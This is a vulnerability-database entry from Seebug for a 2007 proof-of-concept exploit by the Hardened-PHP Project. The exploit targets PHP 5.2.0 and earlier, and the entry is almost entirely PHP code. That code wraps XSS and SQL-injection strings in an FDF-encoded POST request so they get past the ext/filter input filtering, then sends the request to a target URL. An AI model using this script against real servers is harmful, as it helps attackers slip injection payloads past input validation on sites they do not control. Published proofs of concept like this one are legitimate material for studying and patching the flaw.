PHP <= 5.2.0 ext/filter FDF Post Filter Bypass Exploit

2007-03-12T00:00:00
ID SSV:6369
Type seebug
Reporter Root
Modified 2007-03-12T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
  // | __ |/ _` || \'_|/ _` |/ -_)| \'  / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\\__,_||_|  \\__,_|\\___||_||_|\\___|\\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP ext/filtet FDF POST Filter Bybass Exploit           //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die(\"REMOVE THIS LINE\");

  // _POST is the array that will be sent to the url in $url
  $_POST = array();
  $_POST[\'var1\'] = \"<script>alert(/XSS/);</script>\";
  $_POST[\'var2\'] = \" \' UNION SELECT \";

  $url = \"http://127.0.0.1/info.php\";  
  
  // You do not need to change anything below this
  
  $outfdf = fdf_create();
  foreach ($_POST as $key => $value) {
    fdf_set_value($outfdf, $key, $value, 0);
  }
  fdf_save($outfdf, \"outtest.fdf\");
  fdf_close($outfdf);
  
  $ret = file_get_contents(\"outtest.fdf\");
  unlink(\"outtest.fdf\");
  
  $params = array(\'http\' => array(
      \'method\' => \'POST\',
      \'content\' => $ret,
      \'header\' => \'Content-Type: application/vnd.fdf\'
  ));
  
  $ctx = stream_context_create($params);
  $fp = @fopen($url, \'rb\', false, $ctx);
  if (!$fp) {
    die(\"Cannot open $url\");
  }
  $response = @stream_get_contents($fp); 

  echo $response;
  echo \"
\";
?>